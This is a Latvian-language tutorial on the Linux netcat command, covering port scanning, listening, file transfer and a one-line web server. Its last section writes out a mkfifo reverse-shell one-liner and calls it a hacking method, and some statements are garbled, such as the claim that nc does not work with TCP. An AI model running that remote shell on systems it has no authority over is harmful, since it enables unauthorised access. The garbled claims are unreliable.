Maksājuma metodes Abuse

Kādam nolūkam operētājsistēmā Linux tiek izmantota komanda NC

29.08.2024, 02:19

Komanda netcat ir nepieciešama datu nosūtīšanai un saņemšanai, izmantojot TCP un UDP protokolus. Tai nav liela funkciju kopuma, taču ar to pietiek savienojumu pārbaudei un vienkāršai atkļūdošanas novēršanai. Kā sazināties, izmantojot TCP protokolu? Šo jautājumu uzdod daudzi lietotāji. Šajā rakstā mēs atbildēsim uz šo jautājumu, kā arī parādīsim komandas reāla pielietojuma piemērus.

Ko dara šī komanda?

Netcat (vai nc) komanda ir jaudīgs rīks darbam ar tīkla savienojumiem. To bieži izmanto sistēmu administratori un izstrādātāji dažādu uzdevumu veikšanai. Šeit ir izklāstītas galvenās netcat funkcijas un iespējas:

  1. TCP/UDP savienojumu izveide: ļauj izveidot savienojumus ar attāliem resursdatoriem, izmantojot TCP un UDP protokolus.
  2. Ostu klausīšanās: var izmantot kā serveri, lai klausītos ienākošos savienojumus konkrētā ostā.
  3. Datu pārsūtīšana: pārsūtīt datus starp datoriem tīklā. Tas var būt noderīgi failu pārsūtīšanai vai ziņojumu sūtīšanai.
  4. Tīkla lietojumprogrammu atkļūdošana: izmanto tīkla pakalpojumu testēšanai un atkļūdošanai, ļaujot sūtīt un saņemt patvaļīgus datus.
  5. Vienkāršu tērzēšanu: var izveidot vienkāršu teksta saziņu starp divām sistēmām.
  6. Ostu skenēšana: var izmantot, lai pārbaudītu, vai attālinātajos resursdatoros ir atvērti porti.
  7. Tunelēšana: var izmantot, lai izveidotu tuneļus datplūsmas novirzīšanai caur citām ostām vai citiem resursdatoriem.
  8. Darbs ar starpniekserveriem: var izmantot darbam ar starpniekserveriem un dažādu tīkla uzdevumu veikšanai.

Netcat ir daudzpusīgs rīks, ko var izmantot visdažādākajos scenārijos, sākot ar vienkāršu ziņojumu sūtīšanu un beidzot ar sarežģītām tīkla operācijām.

Iespējas

Sāksim ar sintakses apskatīšanu un aplūkosim populārākās no tām:

  • -6 - izmantot IPv6 protokolu. Pēc noklusējuma ir -4 un IPv4;
  • -h - parāda palīdzību ar pieejamo parametru sarakstu;
  • -i - delay - pievieno aizkavi starp virkņu nosūtīšanu vai portu skenēšanu. To nosaka sekundēs;
  • -l - klausīšanās režīms. Izmanto kopā ar porta specifikāciju;
  • -N - slēdz savienojumu, kad, sūtot failu, ir sasniegts tā beigas;
  • -n - strādāt ar IP adresēm tieši bez DNS, arī atslēgt portu skenēšanu;
  • -P - lietotāja_vārds - norāda lietotāja vārdu, lai izveidotu savienojumu ar starpniekserveri;
  • -x - address:port - norādiet adresi un portu, lai izveidotu savienojumu ar starpniekserveri;
  • -p - port - norādiet porta numuru. Vairumā gadījumu ports tiek nolasīts, nenorādot parametru;
  • -U - izmantot UNIX domēna ligzdu (starpprocesu saziņai);
  • -u - izmantot UDP protokolu, pēc noklusējuma tiek izmantots TCP;
  • -v - detalizēts režīms. Izmanto skenēšanas laikā;
  • -W number_packets - slēdz savienojumu pēc noteikta pakešu skaita saņemšanas;
  • -w timer - ieslēdz taimeri, lai ierobežotu savienojuma laiku. To nosaka sekundēs;
  • -z - atslēgt datu sūtīšanu. To izmanto skenēšanas laikā.

Komandai ir šāda forma (parametru porta adrese):

$ nc

Tālāk mēs pastāstīsim, kā izmantot komandu.

Ostas pārbaude

Pārbaude ir galvenais netcat izmantošanas veids. Jums jāizmanto divi parametri -vz, norādiet adresi un portu. Var norādīt adrešu diapazonu, bet šajā gadījumā labāk ir atsijāt tikai atvērtās porti ar komandugrep. Pārskenēsim vietējā tīkla adreses porti:

$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

Tādā pašā veidā skenēsim UDP porti, pievienojot parametru -u:

$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

Jums jāzina galvenā atšķirība starp TCP un UDP. Tātad UDP porti ir pieejami vienmēr.

Klausīšanās portā

Parametrs -l ir paredzēts porta klausīšanai. Bieži vien ar to pietiek, bet jūs varat ieslēgt detalizētu režīmu:

$ nc -nlv 8080

Atcerieties, ka, izmantojot TCP protokolu, portam jābūt brīvam, pretējā gadījumā parādīsies kļūda Jau tiek izmantots. Ne visus portus var izmantot parastie lietotāji, piemēram, 80 portu (HTTP), visticamāk, to aizņems cits process, un tam būs nepieciešamas superlietotāja tiesības.

Failu apmaiņa

Noderīga komandas spēja ir datu apmaiņa. Vienkāršs piemērs ir teksta tērzēšanas istaba. Lai sāktu tērzēšanu vienā datorā, palaidiet utilītu portu klausīšanās režīmā:

$ nc -lp 8080

Otrajā datorā būs jānorāda pirmā datora adrese un tas pats ports. Neaizmirstiet arī pārbaudīt, vai ports ir atvērts:

$ nc 0.0.0.0 8080

Šādā veidā jūs varēsiet sūtīt un saņemt ziņojumus. Tas nozīmē, ka komanda ir paredzēta failu apmaiņai. Princips ir tāds pats, tikai izejas datus ir nepieciešams novirzīt uz failu, proti, paste.txt:

$ nc -l 8080 > paste.txt

Otrā datorā par ievadi kalpos fails copy.txt. Nav lieki izmantot parametru -N, lai pēc faila pārsūtīšanas slēgtu savienojumu:

$ nc -N 0.0.0.0 8080 < copy.txt

Lai pārsūtītu failu, ir svarīgi ievērot secību, vispirms atvērt klausīšanos un tikai pēc tam nosūtīt failu. Komanda nc ir funkcionējošs, bet nebūt ne labākais veids, kā pārsūtīt failus. Šim uzdevumam ir efektīvāki un noderīgāki rīki.

Vienkāršs tīmekļa serveris

Tā kā NC komanda nedarbojas ar TCP protokolu, tā ļauj gan sūtīt, gan saņemt HTTP pieprasījumus. Tādējādi utilīts var kļūt par vienkāršu tīmekļa serveri. Jā, šādā veidā jūs nevarat izdarīt neko sarežģītāku par tukšu lapu, taču darbība neaizņems gandrīz nekādu laiku, un pluss ir tas, ka jums nav nepieciešams instalēt neko papildu.

Par piemēru veidlapas HTTP atbilde ar failu index.html. Runājot par pašu np, ir labi iestatīt taimeri ar parametru -w 1, lai pārtrauktu savienojumu, ja pārlūkprogramma to nedara:

$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done

Lai iegūtu datus no tīmekļa vietnes, varat izveidot pieprasījumu un nosūtīt to uz ieteikto adresi un portu. Taču šis veids ir diezgan sarežģīts, labāk izmantot atbilstošu CURL komandu.

Attālinātā čaula

Pamatojoties uz iepriekš aplūkotajiem piemēriem, nebūs grūti secināt, ka šī komanda ļauj organizēt attālinātu piekļuvi datora čaulā. Iepriekš NC utilītprogrammai bija vairāki parametri, lai atvērtu piekļuvi terminālim. Parametrs -e jau sen no utilīta ir izņemts, tāpēc vienkārša piekļuve terminālim vairs nebūs iespējama. Pašas lietojumprogrammas drošība ir kļuvusi augstāka, taču tā joprojām var darboties kopā ar citām.

Parādīsim savienojumu, izmantojot nosaukto kanālu mkfifo. Vispirms sāksim klausīties portu datorā, kurā iegūsim piekļuvi:

$ nc -lvnp 8080

Pārejam tieši uz komandu, lai atvērtu termināli. Vispirms dzēsīsim veco nosaukto kanālu(rm /tmp/f), tā vietā izveidosim jaunu(mkfifo /tmp/f), nolasīsim tā saturu(cat /tmp/f) un nosūtīsim čaulas komandu uz tā izvadi(sh -i 2>&1). Pēc tam atliek palaist nc ar izvadi uz mūsu nosaukto kanālu(nc 0.0.0.0.0.0 8080 >/tmp/f):

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Paturiet prātā, ka šis ir viens no veidiem, kā uzlauzt, tomēr tas var būt noderīgs, ja rodas problēmas ar ssh. Lai novērstu uzbrukumu, konfigurējiet drošības politiku un ugunsmūri.